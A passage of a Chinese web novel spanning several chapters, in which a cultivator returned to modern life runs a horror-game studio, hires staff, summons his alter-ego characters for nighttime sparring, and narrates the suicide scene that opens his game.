不知不觉两周时间过去,办公地点的桌椅设备一应俱全,员工数量也招到了十几个,之前那个四十多的大龄程序员已经在电脑前敲代码了,主美和文案策划两个岗位依旧空悬。 山不就我,我来就山。余缺这几天都坐在办公室里,由2247辅助筛选,自己在网络上查看画师的过往作品。遇见合适的,就主动发去私信,问有没有兴趣面试,拒绝的很多,但想了解的也不是没有。 今天要来的,就是一个接受面试邀请的应届毕业生,叫陆含昭。 淮市立春后依旧寒风彻骨,办公室的空调往外吹着热风,桃木的桌面上盖了层玻璃,上面放着电脑和几本摊开的书。余缺坐在桌前,长发在脑后松松垮垮的束成一缕,手指在键盘上不断落下清晰的“咔”,纤薄的黑色皮质手套让指节凸出明显。 门在此时被敲响。 “余缺,面试的人来了。” 磨砂的玻璃门随之推开,露出门外风格迥异的两人。贺危裹得严实,而站在他身边的短发女生,则一身相对单薄的黑色朋克打扮,很潮,个子也挺高,要不是开口问好的声音,可能会被误判成一位帅哥。 “陆含昭是吗?请坐。” 余缺放下手里的事,邀请人到旁边会客的沙发上坐下,茶几上很快被放下两杯热水。他态度很平和,但陆含昭就是莫名感觉到紧张,反射性绷紧了脸,看起来倒是更酷了:“昨天我们聊到的那个形象,我画了版线稿,虽然有点粗糙,但我觉得你可能想看看。” 说着,她就从随身携带的电脑包里拿出平板电脑,将画作展示了出来。余缺接过,见到画作的正面展示,眼底多了几分欣赏。 他们昨天讨论的,是一个很简单的构思——“吊死鬼”形象。 吊死鬼在民俗恐怖类型中算是常见类型,一般的创作者会凸现人死后过于雪白的脸,有人还会将吊死的画面刻画出来,比如乱踢的脚,反射性抓向吊绳的手等等。 但昨天他们的话题重点是“恐怖又怪诞”,余缺希望这个形象鬼气森森,人的特质反而越少 7. 文学城独发(修文) [] 半夜,外面下起了细密的雨。 主卧的窗户没有关严,“沙沙”声异常明晰,冷风拂过,窗帘像是浮动的海浪,慢慢被撕开一个角,让室外的光源斜斜地照了进来。屋内的大床上被映出长条形的光,如同一截独特的缎带,从窗外,一点点连接到睡梦中的人。 余缺睡得并不安稳,紧闭的双眸不断颤动,薄唇轻抿,那道光正好落在他的眼睫处,轻风拂过,光源晃动,他眼睛突然睁开,如同刀锋出鞘,带起无形的杀意。 梦境画面渐渐消弭,眼前只有空悬在上方的金色光团。 余缺缓慢地眨了眨眼,那股外露的杀气,又仿佛变为了一种无形的、难以名状的雾气,压在他的头顶,空气变得有些苦涩,又有些悲伤。他慢慢地坐起来,垂下头,单手撑着自己的前额,黑绸一样的发丝如垂下的帘幕,盖住了他的脸。 就这么坐了许久,发丝下才传出略有些沙哑的声音:“2247。” 光团漂浮到了他的身前:“我在。” “下次……” 话到一半又哽住了。余缺本想说下次提前叫醒我,但他此时的喉咙口像是被什么无形的东西堵住,什么字都吐不出来。 回到蓝星后,夜晚不能再打坐修炼,他变得越来越像个普通人,除了刚开始的不适应,后面也开始慢慢入睡,现在,他还做梦了。 他不喜欢做梦。 又呆坐了一会儿,余缺最终还是没说什么,只是下床把窗户关了,窗帘拉上。“唰”的一声后,屋内重归黑暗,他扬手召出系统面板,在满是各项字符的左侧,表明能量积蓄程度的光柱,已经到了第二个刻度。目光带着手指往下,点向了【角色召集】。 随着指尖触及,整块面板碎成了金色粒子,接着又迅速重组,几张卡牌依次排列出现。虽然都闪着金色光晕,但卡面上绘制的花纹各不相同,有山洞中砸下的光束落在青石间潺潺流水,有花朵盛开在白骨丛生的沼泽,有白雪皑皑山巅上屹立不倒的剑锋…… 与此同时,上端弹出了一则提示消息。 【系统提示:请选择您需要召集的角色】 余缺视线在卡面上一一掠过,看向最末的那张:烈火焚烧荒野,土地干裂,树木被熏得焦黑,空气因热气扭曲,满是不祥的红色和飞扬的烟尘,而画面正中,只有一片随着火焰热气上浮的羽毛。 指尖点击卡面,在空中漂浮的羽毛瞬间燃成火焰的颜色,接着,卡面翻转,淡金色的光芒逐渐扩大,燃烧的羽毛在无数金粉中飞舞,下落,一只手伸出,羽毛晃悠悠地落在掌心。 画面随之下移,一个黑衣男人靠坐在岩石上,火焰一般的红发,断眉,左耳坠着块刻着符咒的木牌。右腿屈起,身边立着把黑色长刀,他接过羽毛,轻微拨弄了两下。那点火焰在他指尖温顺无比,仿佛没有丝毫热度,但随着他指尖落下,火羽瞬间以他为原点,在地上蔓延出灼灼烈火,土地在几息内燃至焦黑,干裂出的缝隙都是火星,宛如即将涌动的岩浆。 面板左侧,一行行字符跃动显现。 【角色:许烬 骨龄:19(成长期) 血脉:鸩(传闻中的种族,无法确定是魔还是妖,体/液带有致命毒性) 灵根:火灵根(对火属性灵气拥有天然亲和力) 天赋:无(暂未发现其余特殊天赋) 功法:焚天禁法[主]、业火符[副](非主要功法均未显示,可手动矫正) 境界:元婴期(暂未抵达下一个进阶点) 异常状态:无】 余缺抬眼望去,画面右侧玩着火羽的年轻男人也停下动作,看了过来。 他是剑眉星目的长相,皮肤是健康的小麦色,坐在那里看向本体时,脸上不自觉浮现出一丝笑,露出左边脸颊上的酒窝。这本该给人阳光帅气的感觉,但左边的断眉让他张扬如烈日的脸,多了几分桀骜不驯,笑起来的样子也像是在使坏一样。混不吝的坏小子。 【系统提示:是否确定将角色“许烬”传送至您的身边?】 余缺的表情有些恹恹的,点下上面的“是”。 【系统提示:角色传送中……】 金色的面板在瞬间收束为一个光点,接着,无数金色粒子开始构建出属于男性的躯体,室内的温度莫名升高了好几度,余缺甚至嗅到了一丝月见花燃烧过的特殊香气。 是他喜欢的香气。 在这股独特的气味中,余缺的视线终于和许烬相接,他伸出手,面前高大的青年露出一个笑,抓着他的手贴到了自己的脸上,轻蹭了一下。掌心微烫,余缺拍他的脸:“刀。” 许烬当然知道是要刀,他们本就是一个人,知道自己的想法——想打一架。 每次情绪不好的时候,自己会是最好的对手。 但或许是习惯了分心思考的后遗症,余缺现在的理智和情绪往往会并列出现,本体的他渴望发泄情绪,马甲的他却保持着清醒:贺危还在隔壁睡觉,这里也不是修真界,修士打架别人看戏,在这里用刀,刚收拾好的居所会被毁坏不说,吵醒贺危,接下来就该报警了。 四目相对,两人不愉的表情有一瞬间同频,但接着又错开。 余缺眉间多了丝戾气,试图劈手夺刀,但刚一出手,许烬就反手将他按进怀里。他的体温总是高本体几度,胸膛也是炙热的,余缺反制的手也很快被压在了背后,下巴搁在了他的肩头。 喘息声,闷哼声,衣料摩擦声,最后是余缺有些闷闷的声音:“放开,脏死了”。离得太近,他嗅到了许烬身上被月见花压下的血腥气。 许烬勾唇,那股痞坏痞坏的感觉又出来了:“怪谁?” 那不是他自己的血,而是天机楼那次行动中沾上的。 在发现毕泫这个仇敌已经对自己心境有碍的时候,余缺就下定决心,不管怎么艰难,一定要杀了对方。之前的多次拼杀中,余缺不论哪一次都拼尽全力,许烬背后的天机楼也因为屡次庇护他们的弟子,折损了数名长老。 但瘦死的骆驼比马大,余缺再怎么狂傲,也不可能单枪匹马,一个人杀到别人继任仪式的现场。 他是带着许烬一起的。抱着想要毁掉整个天机楼的心,又为求稳妥,他将许烬这个马甲势力背后的所有人手倾巢而出。 许烬还担当了他的一道“保险”——假如还杀不了毕泫,就许烬来。 余缺当时已经是金丹后期,找上毕泫,不但是为了杀他,也是为了把元婴期的毕泫当自己的磨刀石。他想通过这场杀戮,帮自己晋级元婴。 这个过程里,许烬为了避免外界对本体的干扰,杀的人自然不少,因此也沾染了不少血腥气。正面看还好,要是看背面,他红发的下半截都被血结成一缕缕的,难看得要死。 最后这一架自然还是没打成。 黑色的长刀和刻着符咒的木牌随意扔在了床铺上,卫生间里亮起了灯,淅淅沥沥的水声砸落下来,昏黄的光源将熏染了雾气的玻璃印得格外朦胧。里面传来几声轻“嘶”,许烬的声音在浴室仿佛带点混响:“轻点,揪秃了不难看吗?”原以为发丝只是染了血,没想到有人投了毒,只是许烬本身就自带“以毒攻毒”的特性,没因此受伤。唯独可惜头发,被不知 8. 文学城独发 [] 睡在隔壁的贺危做了一晚上下雨的梦,早上被电话吵醒,迷迷瞪瞪地一看时间,才七点多。再睡睡不着了,打着哈欠想去冰箱拿喝的,结果刚路过客厅就被吓了一跳。 两道交错的人影坐在沙发上。 看清楚是余缺和一个陌生人后,贺危本来舒了口气,但他想打声招呼,又莫名感觉到气氛有点让人挪不动脚。 那个陌生人身体略微后靠,手里拿着一缕余缺的发丝,脸上带着慵懒又满足的笑意,视线落在余缺的脸上。乌黑发丝缠在指尖,被他拿起,轻嗅。这个过程中,他自始至终都注视着余缺。 像是注视着即将被纳入怀里的珍宝。 而余缺对此却一无所觉,他正微垂着头,研究这人食指上的一枚戒指。 贺危下意识学了家里老婆的动作,在自己腰上拧了一记:“嘶,好疼。”天杀的,竟然不是做梦。 “你在干嘛?”余缺莫名其妙地看了他一眼,接着从善如流地把许烬食指上的戒指取了下来。 贺危尴尬地“哈哈”了两声,走过来:“大清早的,有点没睡醒。嗯,这位是?” 互相介绍后,两人握了下手。 接下来,贺危继续打量着两人相处,心道自己果然没有看错。 这个叫许烬的现在依旧旁若无人,动作没有丝毫收敛不说,刚刚余缺把注意力转移到自己身上的那一瞬间,他看过来的眼神中分明带着些许不善。虽然很快就收敛下去,但他看得清清楚楚。 这反应,这态度。 他、绝、对、是、喜欢余缺。 但问题是,余缺现在应该完全一无所知,且还把对方当作了很好的朋友。 贺危很了解余缺,知道他是个领地意识极强的人,日常和人相处会有意拉开肢体距离,甚至除了自己这个被认可的朋友外,不许其它任何人去他住的地方——这会让他感觉被冒犯。 以前在俱乐部的时候,本来该安排队员宿舍两人一间,但因为余缺不和别人住,最后公平起见,一个人一间。贺危还去过余缺的学校,高中时候学业那么紧张,余缺经济上也不宽裕,但都坚持不住宿舍。 现在许烬能在这里,就说明在余缺眼里是自己人。更别说两人靠这么近,余缺对他根本是一副不设防的姿态。 这让贺危心都高高提了起来,欲言又止,止言又欲。 兄弟,你要被gay了啊!! 他吭哧了半晌,最后犹犹豫豫道:“你们……吃了吗?” “吃过了,有给你留。”余缺回了这句后,不等贺危再琢磨两句出来,许烬就站起来走去厨房。人一转身,贺危立即凑到余缺身边,压低了声音:“这人从哪儿冒出来的?” 余缺头也不抬:“就前一年认识的,我和他说过你,他很欣赏你。” 我可丁点儿没感受欣赏啊。贺危槽多无口,只能问他:“你有没有觉得他看你的眼神,有点……那个?” “哪个?”余缺注意力还在戒指上。 按2247的说法,因为乾坤戒本身就是截取了小片的时空法则形成,在没有系统保护的情况下,很容易在穿梭途中被混乱的法则所吸收,因此所有乾坤戒都该遗失才对。但许烬手上这枚还在,虽然里面的东西照旧一个不剩,但戒指本身只是略微有些破损。这让他有点奇怪。 旁边的贺危则觉得余缺迟钝到必须直说了:“你不知道,刚刚你只看了我一眼,他就……”许烬端着餐食过来了,他立马闭嘴,起身道了句谢。坐下后才感觉到不对劲:怎么好像许烬和余缺是主人,他是客人一样? 贺危脸上的表情精彩纷呈,余缺默了默:“……吃你的饭。” 这事其实是个误会。 突然换到蓝星生活,周围无灵气可运转,余缺又修为折损,生活安定,这段时间他的警惕心已不自觉降到了最低。更何况贺危是他朋友,现在还在自己家,余缺在没感知到恶意的时候,几乎是完全松懈的状态。这就导致他思考的时候过于沉浸,竟然一时没注意到贺危已经过来了,在听见声音后,才本能地升起了防备。 许是之前经历的缘故,即使本体的他能在情绪上保持稳定,马甲也依旧会出现应激反应。再加上保护本体的本能,许烬能压下动手的念头,且容忍贺危和他一起坐在沙发上,已经是极力压制、且足够冷静了。 不过,许烬身体依旧保持着紧绷的状态,下意识地将手放在本体的后腰,做出保护的姿态。 贺危:…… 妈的,这狗日的不装了是吧?! 这一激动,包子都吃噎着了,余缺给倒了杯温水:“吃个饭,这么激动干什么?” 不是,他要gay你啊!! 贺危大口喝下水,忍不住想飙几句垃圾话,但见余缺依旧对那人毫无防备,他又哽住了:莫名觉得,捅破这层窗户纸,结果也并不一定会好的样子。 好友内心的翻江倒海,余缺一概不知,他问:“趁有时间,我们开把游戏?”今天是周一,要去公司,但时间还早。9点上班,吃完饭也才刚七点二十,闲着也是闲着,还能稍微让两人隔开点,贺危当然觉得可以。 家里只有两台电脑,一台余缺的笔记本,一台电竞的台式电脑。余缺让贺危去用配置更高的电竞那台,自己在电脑上打开了《时空战场》。贺危刚一登录,就收到余缺账号发来的solo邀请,他态度随意地点了接受后,发现余缺走到了身边,才意识到账号上那头是许烬。 小子挺狂啊?看我不狠虐你一场! 对局开始,贺危操作秀得飞起,本来压了对面一头,但许烬依靠英雄独特的机制,很快反过来拿下了他的一血,屏幕变为了黑白。 身侧的余缺适时调笑:“教练,你退步了啊。” “谁退步了。”贺危嘴上下意识反驳了一句,心里也泛起嘀咕,难道自己真退步了?这次复活后变谨慎了许多。但对面对他的打法似乎异常熟悉,总能找到破绽。 十分钟后,贺危输了。 英文单词defeat出现在界面上的时候,贺危还有些不服气,说了句再来。第三次失败的时候,已经快八点二十了,他一副生无可恋地瘫坐在椅子上,问余缺:“你故意的是吧?” 怎么说也当了那么多年教练,贺危怎么可能不知道余缺的打法,这个许烬就宛如翻版的他。不,比之前打得还要更凶一点。但这些改变也极其细微,要不是确认余缺中途没离开过,贺危都要以为对面是余缺本人了。 要能做到这点,单纯的模仿是不可能的,更别说许烬还对他的打法应对熟练,这分明是早有预谋——许烬绝对被余缺针对性训练过! “感觉怎么样?” 贺危一副灵魂出窍的样子:“挺好呗,还能怎样。难道还要我夸你两句,介绍你入行当教练?” “不是说这个。”余缺靠着墙,语气很是平常:“我是想问,你带他去打职业怎样?” < 9. 文学城独发 [] 游戏设定在人情冷漠的都市里,可被玩家操控的角色是一名女警员。她刚刚入职,是个名副其实的菜鸟,而游戏的开场,就是她参与的第一个案件。 画面从阴雨连绵的公路上开始,主角脖子上挂着相机,正坐在飞驰的警车后座随着车子转向而身体偏移。时间已是黄昏,光线很暗,警笛声刺耳,车身上闪烁的红□□光映照在她的身上,胸前刻着天平的警徽因此而泛光。 旁边坐着的上司是个脾气暴躁的中年男人,正在打电话,通过他断断续续的字句,便能明白他们此行的原因:有人想要跳楼。 车身呼啸着飞驰而过,带起的水花高高溅起又下落。 抵达时,楼下已经满是围观的人群。他们举着颜色各异的伞,像是在雨中努力生长的蘑菇一样,伸长了脖子窥探内情。下车后,坐在前排的警员从怀里拿出明黄色的长线,不断说着“退后”,要将大楼下方圈成带着棱角的区域。 周围窸窸窣窣的人声随之传入耳膜。有担心的,有嬉笑的,还有人不耐烦地催促: “这都多久了,还跳不跳啊?” “手都举酸了,赶紧啊——” 嘈杂的声音,细碎的字句,形成了一股极为直白的恶意。 女警员呆愣在原地,恍惚间,这些话全变成了不断重复的、嬉笑着两个字:“去死,去死——”声音越来越大,最终汇集成悠长又尖锐的耳鸣。 一个手掌突然拍到她的肩头,她悚然回神,是上司:“愣着干什么?走了。” “小刘你留在这,充气的垫子怎么还没来?让他们抓紧时间!” 往顶楼去的途中,查询资料的人终于打电话过来,说了当事人的名字和情况。女警员有些莫名不安,也没听清上司在对那边说些什么,自顾自地捏紧了手心。她的掌心湿漉漉的,也不知是雨水还是汗渍。 电梯门“叮”一声打开,众人立马“噔噔噔”地往上跑。 通往天台的门敞开着,灰白的天幕背景中,穿着褪色校服的女生赤足站在边缘,身形单薄,衣服和长发因为雨水而湿漉漉地紧贴在身上,她低垂着头,侧脸苍白,透过门框看过去,就像是一抹被镶嵌在相框中的游魂。 天台上竟然还有些人在围观,旁边的警员想进行疏散,而他们还在七嘴八舌地说些什么。女主刚试图上前劝慰,就听见有谁声音尖利地喊了一声:“谁家孩子像你这么不懂事,想想你爸妈啊!” 穿着校服的女生偏头看了过来。 女警员呼吸急促,她开始不顾一切奋力向前奔跑,隔着淅淅沥沥的雨水,她在晃动的视线中,清楚地看见了对方转过来的那双眼睛——没有丝毫光亮的眼睛。 “不,别跳,别跳——” 试图抓人的手最终只摸到冰冷的雨水,她趴在栏杆上,双手还是伸出的姿势,却也只能眼睁睁看着,这个瘦弱的女生在透明的雨丝中重重下坠。 “砰—”的一声,她坠落在黄线圈出的水泥地上,红色的血液慢慢溢了出来。 一瞬间,全世界都安静了。 不多久,穿着制服的女主站到了楼下警戒线内,扭曲的尸体,蔓延的血迹。她听从上司指示,拿起相机,“咔擦”一声,将这让人极为不适的死状,定格在了照片上。 在法医的指挥下,同事们开始戴着手套收敛尸首,女孩苍白的、依旧圆睁着眼睛的面孔,随着裹尸袋拉链上合,渐渐掩盖在黑布下。此时,周围的人仍在细碎地议论:“好可惜,这才是高中生吧?” “现在的孩子,心理也太脆弱了……” 女警员就那么定定地站在雨幕里,面无表情,看着那只黑色的裹尸袋被抬上车。车门伴随着重响合上,上司叫大家收队。周围原本还拥挤的人潮,在看到警员们一个个上车时各自散去。只有她伫立在原地,像是脚下生了根。 “走吧。”上司路过她时,安慰式地拍了拍肩。 女警员抿了抿唇,刚往前一步,就听见身后传来重重地一声“砰——”她猛地回头,但背后什么也没有,只有白线画出的、那个女孩的印在地上的尸体轮廓。有同事叫她,她应了一声,疑惑又恍惚地上了警车。 车辆发动,街上人流如织,没人能看见,坠落到地上的、身体已经极度扭曲的女孩,以诡异的姿势爬了起来。 而在另一辆警车内,上司接到一个电话,不知道那边说了些什么,他眉头紧皱,手指捏着现场拍下的那张照片,似乎格外用力。 回到警局,这张照片便连同数张薄薄的纸页一起,被他装进姜黄色的档案袋。男性粗粝的手将其贴上封条,接着拿起笔,在封条上编号那一栏写下字迹:1249。接着,红色的印章高高举起,在封口处盖下了“绝密”的红戳。 《绝密档案》,自此正式拉开序幕。 余缺大致解说了开端需要呈现出的画面后,又继续简述了游戏的玩法、大概的流程等等。 他将这款游戏定位为“恐怖向”,重视剧情和画面,整个游戏流程则归属于“解谜+探案”,玩家将操控女警员,在探秘警署“绝密档案”的过程中,经历一系列恐怖的事。 因为不准备让玩家在游戏里打怪,遇见的恐怖生物后,主角是以“躲避”为主要路线,余缺顺势指出,SAN值会是游戏里的重要设定。 SAN值,即“理智值”。这在恐怖类游戏中并不算什么新奇的玩意儿。这个设定最开始好像是来自克苏鲁神话,具体应用在游戏里,大概的表现是:当角色遇到超自然事物或恐怖场景,SAN值会下降,如果SAN值降至零,角色就会陷入疯狂(*)。 闻言,做数值的员工立马举手发问:“我们是要对标《结伴自杀》,做成买断制吗?” 现今市面上恐怖类游戏的主流盈利方式,要么是走“买断制”,要么本体免费,但游戏内含有广告或内购,或二者皆有。 《结伴自杀》是典型的买断制,在游戏内设置了SAN值固定的恢复点,几乎是全程跑图的方式来进行游戏。而选择广告和内购的,则会将数值和美化两块设定为特殊道具上架商店,玩家们要么花钱,要么花时间看广告。 当然,把广告放 10. 文学城独发 [] 在一款游戏内,文案不仅关乎着故事的走向、游戏世界观阐述,还涉及各种繁杂的细枝末节,在业内是上限高但下限也低的职业,鱼龙混杂。挂出招聘需求后,或许因为要求过高,投递简历的都没多少,哪怕给招聘网站那边加了钱,照旧颗粒无收。余缺也试图在网上主动寻觅过这方面的人才,但这次没有像之前那般好运,再加上工作忙碌,就耽搁下来。 但文案策划的要求又不能降低。 《绝密档案》的主线内容毕竟涉及探案,在玩家游玩的过程中,不奢求案件本身有多么出彩,至少在文案上需要保持严谨及合理。 举个例子:假设A是第一起命案的相关人,余缺设定了玩家会在A处拿到的线索,但游戏制作具体的场景是需要斟酌的。A的形象是什么样?和死者是什么关系?对话用什么口吻来说?以及,A本身有没有可能撒谎? 玩家要在游玩途中判定这些,那制作组想给出的信息,或者想造成的误解,就必须通过角色传达出去。因此文案上要确切描述出来,否则在具体的制作中,很多地方的流程就卡住了。 因为这事,员工们工作得很痛苦。 余缺对此也进行了自省。他尽量抽出时间来弥补文案上的缺陷,同时,考虑到文案策划的岗位不能再空下去,既然普通招聘途径不行,那就换成专业的猎头公司。 由2247作为助手,筛选出一家风评不错的猎头公司后,经过面试,新人事经理很快走马上任,对于文案策划的人选,猎头也在他的要求范围内,尽快奉上了几份不错的简历。 余缺先看中的是一个有全职写小说经历,后又转行到游戏行业,在国内大厂工作过的人。但猎头那边约他面试后没多久,对方就被业内另一个大厂看中了,给的薪资和职位都相当不错。面试毕竟是双向选择,别人有了更好的去处,他也只能作罢。但之后的几次面试,效果又不甚满意。 保持着宁缺毋滥的态度,周三这天,余缺终于等到了一个新的面试者:苏雾。 办公室的茶几上摆着两杯热水,人事经理推门进来,带进来一个穿洛丽塔女生。 她长相甜美,浅紫色的繁复服饰将人衬托得像个洋娃娃一般,看见余缺后,或许是生活中鲜少看见留长发的男生,眼睛明显亮了一下,主动伸手:“你好,我是苏雾。”声音也是糯糯的。 苏雾性格开朗又外向,对面试丝毫没有紧张,提起过往经历侃侃而谈,似乎对和人交流这件事都极为享受。她带来的简历已经放在了余缺面前,薄薄的两页纸,含金量极高。 毕业于国内一所双一流大学的历史系,之前求学途中就担任过编剧,写了几个本子,其中一个已经被拍成了电视剧。与此同时,她一直有在个人的博文里发布小说,种类繁多。狗血虐恋,升级打怪,历史同人,恐怖惊悚无一不写,能看出知识面极为广阔。 从业经历部分,她之前入行当了正式编剧。 但是编剧在娱乐圈并不是个舒适的职业,兢兢业业写完一篇,导演要改,演员要改,金主要改,苏雾觉得那些人把自己的本子改得面目全非,人物人设全崩了,而别人觉得她一个黄毛丫头,不懂资本,不懂流量。 屡次经历这些后,苏雾实在无法忍耐这些人不尊重故事和人物逻辑的行为,遂决定转职。 这次来余缺的公司面试,也是机缘巧合:她其实还没想过自己后面做什么,相关的岗位都想试试,因为一直没面试到合适的岗位,已经在考虑要不要当专职作家,结果猎头此时介绍了余缺的公司。 虽然没有文案策划的工作经历,但余缺对这个岗位的要求和她非常契合,她又是敢于冒险的性格,于是想过来看看。 余缺之前已翻阅了她的部分作品,因为是恐怖向游戏,重点看了打着惊悚tag的几个故事。他发现苏雾不仅擅长写故事,还擅长营造氛围,文字简练而凝实,伏笔埋得轻描淡写,等看完了整体,再回顾的时候,才会发现之前那些看似简单直白的文字,其实处处都让人冒鸡皮疙瘩。 这次面试两人都有不错的观感,入职的事顺势就敲定了。 今天是周三,按常理本该明天再来正式上班,同时拿证件来签合同。但苏雾觉得来都来了,可以提前和大家认识一下,聊聊对游戏剧情的看法,这会有利于她的灵感。员工积极,余缺当然不会泼冷水,遂把人带到了团队其余人面前。 不过,余缺不知道的是,认识同事是假,打听公司是否靠谱才是真。 面试时两人聊得很好这点并不假,薪资不错,对文案方面也给出了很大的自由余地,方方面面都令苏雾满意。但不得不说,在有过大型娱乐公司就职经验的苏雾看来,她首先需要担心一件事:这公司会不会干一半就黄了。 当然,问话不能直接这么问。在余缺和人事经理走后,苏雾“狗狗祟祟”地凑到了陆含昭身边,压低了声音:“姐妹,这个公司呆着还行吗?加班严不严重啊?” 陆含昭:“大家都挺卷的,但是放心,不加班。” 苏雾:“啊?”这话怎么感觉有点逻辑不通呢? “这么和你说吧。工作内容不少,每个人都在卷进度,所以上班期间大家都很忙,不然做不完。但是我们不用加班,只有余总一个人加班。”陆含昭说着话,手里还不停地在数位板上绘制,随口吐槽:“他可能长了十个肝。” 余缺并不知道,自认为团队成员不足、经费不足,必须自己上阵弥补整体进度的他,在员工眼里到底有多可怕。 谁家游戏制作人像他这样?不止管理整体游戏制作流程,还身兼多个职位,但凡你说一句这个需求不知道怎么实现,他都能回“我试试”。而且有时候前一天还可能不能做的部分,过两天就行了。更要命的是,他不止会,效率还奇高。整个公司的人都麻了好吗? 谁敢不卷?你不会的你老板都会,做得还比你快比你好,你说这个需求不知道怎么实现,没关系我来 11. 文学城独发 [] 月色皎洁。 客厅没有开灯,浅白色的月光透过玻璃窗,一缕缕地洒在木制地板上,将墙角的一盆绿植被映得格外清幽。 绿植不远处,余缺在擦拭他的刀。 黑色的长刀造型古朴,刀背上也没有什么好看的暗纹,刀柄缠着布条,看着很普通。余缺用干净的棉布擦拭过去,刀刃在月光下泛出寒光,折射在他的眉眼,描摹过低垂的长睫,一路吻上他眼睛下方那道细小的、竖起的疤痕。 刀刃一转,被反射的白光迅速滑下,直至被他随性地提在手中而消弭。余缺站在月光照不进的黑暗中,同阴影融为一体。 抬手召出系统面板,金色的光幕随之张开。确定目前被动收集的能量已经抵达第二个刻度,余缺点向了【角色召集】。 随着几张闪着金色光晕的卡牌依次排列,界面弹出提示框。 【系统提示:请选择您需要召集的角色】 余缺将目光停在了第二张卡面上:阴暗潮湿的一片沼泽地,白骨外露,浅褐色的淤泥隐隐散发出不祥的黑色气息,代表生机的红色巫弥花于白骨间隙生长,植物的生和尸骨的死,气息相互交织,让这片沼泽都仿佛介于生与死之间的模糊交界。 点击下去,静谧的画面自他指尖那一点,开始蔓延出波纹,接着开始震荡。依偎在一处白骨的红色花朵从根系倾倒,鲜艳的红色花瓣染上淤泥。随着卡面翻转,淡金色的界面扩大,一具礼盒一样的木棺从满地淤泥中升起。沉闷声中伴随着泥水和残骨滑落,直到木棺完全挣脱地底,上方的盖子缓缓移开。 红色的丝绒布作底,边缘四处都是颜色各异的珠宝,五官艳丽的乌发男人躺在其中,略显苍白的皮肤,红到妖异的唇色,黑锦华服,双手交叠于腹前。四周珠宝折射出了璀璨的光,但再绚丽的色彩,亦只是他的陪衬。 面板左侧,跃动的字符也在此时显现。 【人物:罗摩 骨龄:???(生命体已异变,当前检测结果出现异常) 血脉:■■(或许与传闻中的幽冥存在关联) 灵根:???(无法判定;似乎对全属性灵气具备亲和力) 天赋:化骨(罕见天赋:亡者的气息裹挟其中,吸收灵气的速度增加百分之十) 功法:狱神典[主](非主要功法均未显示,可手动矫正) 境界:化神期(暂未抵达下一进阶点) 异常状态:无】 棺木中的人仍旧闭着眼,在感知到余缺的视线后,他唇线缓缓挑起一个弧度。似是愉悦,又好似在散发一种无形的蛊惑。 作为本体,余缺的脸也是好看的,但他同时也带着极强的冷漠和疏离感。在外人看来,就像是山林间的风,澄澈又锋利。而罗摩则像另一个极端,纷华靡丽,如同地狱里勾人心魄的艳鬼,天生带着一股不可言说的妄念,却又时刻在提醒你,他很危险。 【系统提示:是否确定将角色“罗摩”传送至您的身边?】 余缺的手指点下了上面的“是”。 【系统提示:角色传送中……】 躺在珠宝中的男人睁开双眼,苍白的手搭上棺木的边缘,黛青色的血管异常明晰。随着他手掌用力,画面中的一切皆碎成虚影。与此同时,现实中无数的金色粒子开始构建出男性高大的身躯。 四周的温度在一瞬间降低,冰凉的、如同湿冷白雾一样的气流向外蔓延,仿佛是无形的触手,开始沿着余缺的裤腿试图向上攀爬。 黑色的长刀向前一滑,带出一声嗡鸣,将那股气流从中截断。余缺抬起脸,置身于阴影下的他让人看不清表情,只浑身散发出一种森寒的凛冽。 空气里响起男人的轻笑,就在躯体构建完成的一刹那,他宛如鬼魅般欺身而上,余缺反射性地横刀格挡,“铮——”无形的短匕和长刀空中相击,刀光纵横如电,既快且利,而握在罗摩掌心那把仿佛由空气化成的短匕似云似雾,以短兵接重刀,随着兵器相击不时发出声响,偶尔又完全消弭于无形。 室内因两人打斗被带起了涌动的气流,余缺鬓边的发丝掠起,他丝毫没有留手,没有灵气,就用纯粹的招式,刀锋直逼罗摩咽喉。 但随着手里的刀愈发激进,余缺的脸色也越来越白,一式反手横斩,罗摩带着寒气的两根指节直直抵在了锐利的刀刃上,肉/体和利刃相对,理应肉/体退避,但罗摩的指尖强压着刀锋,在强大的力道冲击下,余缺被压制在墙壁上,闷哼一声,脑后的发丝随之散落。 彼此的呼吸都有些乱。 罗摩单手护在本体的后脑,丝毫不介意横隔在面前的刀锋,眼神肆无忌惮落在余缺脸上,像在欣赏自己毕生得意的画作般,视线一点点滑过他的眼睛,他的鼻梁,他的唇,还有略抬下颌而被暴露的、不断颤动的喉结。挨得太近,罗摩嗅到了浅淡的香气,他试图凑过去品尝这种香气,凌厉的攻式再起。 在自己面前,所有的情绪都是不需克制的。 黑色的长刀如臂使指,顺着余缺的心意,肆意进攻。客厅的窗帘此起彼伏,将月光搅得粉碎,在又一次格挡后,罗摩倏地定在了原地,任由刀尖刺向心脏,但就在刀刃刺中的一瞬间,他半边的身体化为了骷髅。 浮动的月光洒在两人身上,刀刃穿过白骨间的间隙,尖端距离其中正在跃动、呈现幽蓝色的心脏,只剩下一厘米。 罗摩半边的脸亦成了白骨,眼眶中,跃动着和心脏一样的幽蓝色火苗。 长刀坠落在地,发出沉闷的声响。余缺再也坚持不住,身体向前栽倒,落到了一个散发着冰冷气息的怀抱。 刚刚还招式凌厉的人,现在额头上全是冷汗,唇色发白,身体不自觉地想要蜷缩,但因为被罗摩强制地按在怀里而无法做到。只能任由那只化为了白骨的手撩过他的发丝,又顺着后颈,按上背部——那里,是痛苦的根源。 一截原本属于罗摩的脊骨。 罗摩近乎痴迷地摩挲着那截脊骨,这种和本体分隔,又另类融合的方式,让他此前一直有种难以言说的满足。就好像是以另一种方式,回归了这具属于自己的身体。但是现在,除了那种微妙的满意 12. 文学城独发 [] 次日清晨,鸟鸣清越。 “谢了师傅。”苏雾随手关上车门,打开手机看了眼时间,很好,已经过了打卡时间八分钟了。她叹了口气,早高峰堵车真的令人厌烦啊。本想一鼓作气跑到电梯前,但路边卖早点的摊子散发出食物的香气,又勾得她停住了脚。苏雾摸摸自己瘪瘪的肚皮,心道:反正都迟到了,干脆吃个早点? 她很快就后悔了自己这个决定。 因为正当她边走边吃心满意足的时候,前面几米处停下了一辆网约车,车门打开,下来的,竟然是满身低气压的余缺。 苏雾:……好尴尬的场面,不会以为我故意迟到吧?? 就在她想着是转身当看不见比较好,还是硬着头皮打招呼比较好,那辆车里又下来一个俊美妖异男人。距离不远,苏雾听清了他跟上去后含笑吐出的字句:“还很难受?”而在他们面前一向鲜有情绪外露的余缺,几乎是不耐烦地回了句:“闭嘴。” 余缺身上有股淡淡的烦躁。 